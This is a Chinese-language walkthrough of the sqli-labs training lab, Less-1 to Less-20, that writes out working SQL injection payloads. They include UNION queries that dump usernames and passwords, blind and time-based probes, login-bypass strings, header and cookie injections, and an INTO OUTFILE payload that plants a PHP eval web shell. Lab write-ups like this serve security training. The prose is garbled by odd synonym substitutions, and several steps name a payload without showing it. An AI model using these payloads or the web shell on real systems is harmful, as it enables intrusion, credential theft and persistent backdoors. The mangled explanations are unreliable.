实验:sqli-labs
判定是否存在sql注入
输入数值不同,返回的值也不同
判定sql语句是否是拼接,且是字符型还是数字型
可以根据结果指定是字符型且存在sql注入毛病。
联合注入
第一步:首先知道表格有几列,如果报错就是超过列数,如果表现正常就是没有超出列数。
?id=1'order by 3 --+
第二步:爆出表现位,就是看看表格里面那一列是在页面表现的。可以看到是第二列和第三列里面的数据是表现在页面的。
?id=-1'union select 1,2,3--+
第三步:获取当前数据名和版本号。
?id=-1'union select 1,database(),version()--+
第四步: 爆表
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
第五步:爆字段名
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
第六步:通过上述操纵可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
和第一关是一样进行判定,当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。
加注释还是提示报错,证明是数字型
1、判定表有几列,使用 ORDER BY 子句进行一个排序
测试到第 4 列无回显,说明表中一共有 3 列
?id=1') ORDER BY 4--+
2、判定数据表现点 (id肯定要改为0或负数),使用 UNION 进行组合查询
?id=-1') union select 1,2,3--+
(1)爆数据库(版本)名,database() 函数可以回显当前使用的数据库,我们将对它进行查询
?id=-1') union select 1,database(),version()--+
(2)爆表名,使用 group_concat() 函数归并查询结果
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
(3)爆 users 表的字段
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
(4)爆用户名、密码,内容
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
当我们在输入?id=1'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。
1、判定表有几列,使用 ORDER BY 子句进行一个排序
测试到第 4 列无回显,说明表中一共有 3 列
?id=1') ORDER BY 4--+
2、判定数据表现点 (id肯定要改为0或负数),使用 UNION 进行组合查询
?id=-1') union select 1,2,3--+
(1)爆数据库(版本)名,database() 函数可以回显当前使用的数据库,我们将对它进行查询
?id=-1') union select 1,database(),version()--+
(2)爆表名,使用 group_concat() 函数归并查询结果
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
(3)爆 users 表的字段
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
(4)爆用户名、密码,内容
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
可以发现这关如果输入不符合sql语法是会在页面上返回报错信息的,根据这个就可以明白知道要闭合什么符号,比如这关闭合是"),这关输入id=1'是不会报错,字段自己是int范例
#找列数
http://127.0.0.1/sqli-labs-master/Less-4/?id=1") order by 3 --+
http://127.0.0.1/sqli-labs-master/Less-4/?id=1") order by 4 --+
#确定哪个字段有回显
http://127.0.0.1/sqli-labs-master/Less-4/?id=-1") union select 1,2,3 --+
#确定当前数据库
http://127.0.0.1/sqli-labs-master/Less-4/?id=-1") union select 1,2,database() --+
#爆出当前数据库内的所有表名
http://127.0.0.1/sqli-labs-master/Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
#爆出当前数据库user表的所有列名
http://127.0.0.1/sqli-labs-master/Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() --+
#爆出当前数据库user表所有username和password
http://127.0.0.1/sqli-labs-master/Less-4/?id=-1") union select 1,group_concat(username),group_concat(password) from users --+
能够知道本关的查询结果不回显
输入http://127.0.0.1/sqli-labs-master/Less-5/?id=1'发现语法报错还是存在的,并且从报错可以判定出本关的闭合是单引号
发现明显延迟,说明猜测正确。接下来的思绪是通过延迟,依次爆破数据库长度,数据库名,表名,列名,以及字段。
获取database
爆表名
爆列名
爆数据
手工注入
只要把上一关'换成"即可,其他都一样
获取database
爆表名
爆列名
爆数据
闭合直接构造?id=1'就闭合成功,后面看到页面只返回对和错,所以这里要用布尔盲注
手工注入
判定数据库名的长度,等于8的时候正常,等于9报错,说明长度为8
然后爆database第一个字母
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,@@basedir,@@datadir
basedir()指定了安装MYSQL的安装路径
datadir()指定了安装MYSQL的数据文件路径
http://127.0.0.1/sqli-labs/Less-7/?id=-1')) union select 1,2,'<?php eval(@$_POST["admin"]);?>' into outfile"D:\\phpstudy2\\WWW\\sqli-labs-master\\less-7\\hack.php"--+
注意写入的绝对路径要用双反斜杠,否则会写入不成功;
这里表现语法错误,我们不管,用蚁剑连接,成功,如下:
判定注入范例#
首先注入正确的参数,网页返回 “You are in...”,但是没有其他信息。
接下来注入个查不到的参数,网页没有任何反应。说明向这个网页传入参数是用于判定 id 值是否存在,如果存在则返复书息。
判定是否有 Sql 注入毛病,注入个单引号进行闭合,网页无任何返回。
把后面的内容注释掉,网页返回 “You are in...”。这说明网页存在 Sql 注入毛病,并且是用单引号字符型注入。同时因为 Sql 语句发生错误时也不报错,因此此处是 bool 盲注毛病。
获取数据库信息
首先判定表有几列,使用 ORDER BY 子句进行一个排序,看一下对几列有效。返回 “You are in...”,说明表至少有 3 行。
测试到第 4 列未返回 “You are in...”,说明表中一共有 3 列。
得出数据库名的长度,网页只会有返回 “You are in...” 和无回显 2 种情况,我们使用 length() 函数结合回显信息判定数据库长度。
经过二分法测试,得出数据库长度为 8。
使用 left() 函数判定数据库名的第一位是否是字符 a。注入之后无回显,说明数据库名第一位不是 a。
爆破得出数据库名的第一个字符为 ‘s’。
最终得出数据库名为 “scurity”,使用同样的方法继续爆破表名、字段名及其剩余信息。
判定注入范例#
首先注入正确的参数,网页返回 “You are in...”,尝试注入其他参数还是但是“You are in...”没有其他信息。
3 种注入仍然还是返回 “You are in...”,说明此时网页不会回显任何有代价的信息。
转换思绪,MySql 的 sleep() 函数能够起到休眠的作用。为了方便调试这里使用 brup 的重发器,注入如下参数响应时间没有非常。
注入参数响应时间明显增长,并且主观上也能感受到延迟。这是明显的基于 时间盲注 的字符型 Sql 注入毛病,我们需要使用 sleep() 函数制造时间差进行注入。
获取数据库信息
此处因为无法回显任何东西,因此 ORDER BY 子句失效。我们使用 IF 语句结合 LENGTH() 函数对数据库名长度进行判定,如果猜测正确则令响应时间长一些。猜测数据库名长度小于 10 时响应时间超过,所以数据库名长度小于 10。
经过二分法测试,得出数据库长度为 8。
使用 left() 函数判定数据库名的第一位是否是字符 a,注入之后响应很快说明数据库名第一位不是 a。
使用穷举法进行测试,得出数据库名的第一个字符为 “s”。
接下来得出数据库名,再使用同样的方法继续爆破表名、字段名及其剩余信息。
首先注入正确的参数,网页返回 “You are in...”,但是没有其他信息。
以下2种注入都是还是返回 “You are in...”,说明此时网页不会回显任何有代价的信息。
?id=1'--+ ?id=1"--+
调试这里使用 brup 的重发器,注入以下参数响应时间没有非常。
使用双引号闭合时,响应时间明显增长,并且主观上也能感受到延迟,这是基于 时间盲注 的字符型 Sql 注入毛病。
获取数据库信息
此处因为无法回显任何东西,因此 ORDER BY 子句失效。使用 IF 语句结合 LENGTH() 函数进行诸如,猜测数据库名长度小于 10 时响应时间超过 1 秒。
经过二分法测试,得出数据库长度为 8。
获取数据库名时,使用 LEFT() 函数进行穷举法的效率较低,使用 substr() 函数结合 ASCII() 函数进行判定可以使用二分法快速缩小范围。
使用二分法进行测试,最后得出数据库名的第一个字符 ASCII 码值为 115。
使用雷同方法依次得出剩下的字符 ASCII 码值,连接在一起就是数据库名。
打开 Less-11页面,输入admin admin
回到Burp Suite 上开启拦截,页面点击submit
将拦截的数据发送到重放器,在密码处添加\转义符,用来转义passwd 字段的闭合符号
可以看到我们转义了一个单引号,我们通过单引号字符注入来构造一个万能密码
uname=admin&passwd=admin'or 1=1 #&submit=Submit
我们可以看出,GET 方式和post 方式 的区别,GET方式 可以明显的 从 URL 中进行注入,POST可以在数据包中进行修改对应的字段来进行 SQL 注入
获取数据库信息
判定表有几列,使用 ORDER BY 子句进行排序看下对几列有效。对第二列对返回的结果排序,网页返回正常。
对第 3 列对返回的结果排序,网页返回不知道第 3 列,说明一共有 2 列。
爆数据库名,首先注入错误的用户名和密码,使其找不到数据。使用 UNION 进行联合查询,查询成功把数据库名接到网页回显的地方。
爆表名,使用联合查询在 “information_schema.tables” 中查询表名,表名来自 “security” 数据库。
爆字段名,使用联合查询在 “information_schema.columns” 中查询表名,字段名来自 “security” 数据库的 “users” 表。
接下来爆出 users 表中的用户名和密码,构造出 payload 如下。
打开 Less-12页面,输入admin admin
回到Burp Suite 上把抓到的数据发送到重放器
和Less-11操纵类似,也是在passwd处补上\转义符,点击发送检察转义passwd 字段的闭合符号
可以看到我们转义了一个双引号(另有括号),我们通过双引号和括号注入来构造一个万能密码
uname=admin&passwd=admin")or 1=1 #submit=Submit
爆数据信息同Less-11
打开 Less-13页面,输入admin 123456
回到Burp Suite 上把抓到的数据发送到重放器
点击发送发现报错
在passwd处补上\转义符,点击发送检察转义passwd 字段的闭合符号
可以看到我们转义了一个单引号(另有括号),我们通过单引号和括号注入来构造一个万能密码
uname=admin&passwd=123456’)or 1=1 #submit=Submit
获取数据库信息
判定表有几列,使用 ORDER BY 子句进行排序看下对几列有效。对第二列对返回的结果排序,网页返回正常。
对第 3 列对返回的结果排序,网页返回不知道第 3 列,说明一共有 2 列。
得出数据库名的长度,网页只会有登录成功或登录失败 2 种情况,使用 length() 函数结合回显信息判定数据库长度。
经过二分法测试,得出数据库长度为 8。
获取数据库名,使用 left(string,num) 函数返回字符串 string 最左边的 num 个字符。首先使用判定数据库名的第一位是否是字符 a。注入之后返回登录失败,说明数据库名第一位不是 a。
通过爆破得出数据库名,使用同样的方法继续爆破表名、字段名及其剩余信息。
打开 Less-14页面,输入admin 123456
回到Burp Suite 上把抓到的数据发送到重放器
在passwd处补上\转义符,点击发送检察转义passwd 字段的闭合符号
可以看到我们转义了一个双引号,我们通过双引号注入来构造一个万能密码
uname=admin&passwd=123456”or 1=1 #submit=Submit
获取数据库信息
判定表有几列,使用 ORDER BY 子句进行排序看下对几列有效。对第二列对返回的结果排序,网页返回正常。
对第 3 列对返回的结果排序,网页返回不知道第 3 列,说明一共有 2 列。
得出数据库名的长度,网页只会有登录成功或登录失败 2 种情况,使用 length() 函数结合回显信息得出数据库长度为 8。
获取数据库名时可以使用 left() 函数,这里使用 substr() 函数截取数据库名的每个字符,然后使用 ASCII() 函数判定这个字符的 ASCII 码值。
使用二分法进行测试,最后得出数据库名的第一个字符 ASCII 码值为 115。
通过雷同的方式进行测试,最后得出数据库名为 “security”。使用同样的方法继续爆出表名、字段名及其剩余信息。
打开 Less-15页面,输入admin 123456
回到Burp Suite 上把抓到的数据发送到重放器
在passwd处补上\转义符,点击发送检察转义passwd 字段的闭合符号,发现没有回显
修改字段进行SQL 注入根据返回的图片来验证是否满意条件
成功返回 flag.jpg 失败返回 slap.jpg
爆数据信息同Less-14
打开 Less-16页面,输入admin 123456
回到Burp Suite 上把抓到的数据发送到重放器
在passwd处补上\转义符,点击发送检察转义passwd 字段的闭合符号,发现没有回显同Less-15
uname=admin")and (length(database())=8)--+&passwd=admin&submit=Submit,登录成功
爆数据信息同Less-14
sqli-labs第十七关
打开 Less-17页面,输入admin 123456
回到Burp Suite 上把抓到的数据发送到重放器
在passwd处补上\转义符,点击发送检察转义passwd 字段的闭合符号
使用单引号闭合构造恒真条件
用updatexml()函数,看可否把当前的数据库名爆出来,实行后得到当前地点的数据库为security。
为了更好地明白 updatexml() 报错注入,我们使用 updatexml() 函数获取下当前使用的 MySql 版本。
获取数据库信息
爆库名,使用 updatexml() 报错回显数据库名。
爆表名,XPath_string 参数可以使用一个 SELECT 查询结果,使用 group_concat() 函数聚合。
爆字段名,继续使用 updatexml() 报错注入。
获取目的信息
使用报错注入回显用户名和密码,发现网页回显 “You can't specify target table 'users' for update in FROM clause”。
这里我们无法直接从 users 表拿数据,我们可以先用一个表暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据。构造出的 payload 如下,思绪就是使用一个查询从另一个查询中取出数据,以此绕过表的限制。
通过修改 LIMIT 子句的返回行数,就能取出其他行的查询结果。
sqli-labs第十八关
打开Less-18截获数据包进行修改,输入用户名和密码截取(注意需要输入admin admin 正确的)
修改 User-Agent 字段 添加一个 ’ 单引号
正常情况是不会有回显信息的,但是源码中为了方便学习,将SQL语句打印了出来
查询数据库版本信息
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0 ' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1
使用单引号测试是否存在注入
Referer: http://192.168.37.136/sqli-labs/Less-19/'and updatexml(1,concat(0x7e,(database()),0x7e),1) and '1'='1
1.2 盲注测试
Referer: http://192.168.37.136/sqli-labs/Less-19/'or(length(database()))=9 or if(1=1,sleep(3),null) or '1'='1
Less-20
浏览器访问:http://192.168.37.136/sqli-labs/Less-20/ 输入 username ,password 输入 admin 并提交
在 Cookie:uname=admin 使用 ‘or’1’=1='1 判定注入点,注意这里少一个单引号,为了不影响SQL语句正常实行
Cookie: uname=admin'or'1'='1
使用 updatexml 报错注入获取数据库名称
暴表:
Cookie: uname=admin' union select 1,2,database() -- #
暴字段:
Cookie: uname=admin' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security' -- #
暴数据:
Cookie: uname=admin' union select 1,2,group_concat(username,0x7e,password)from security.users -- #
Cookie: uname=admin' union select 1,2,group_concat(concat_ws('-',id,username,password)) from users# -- #
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |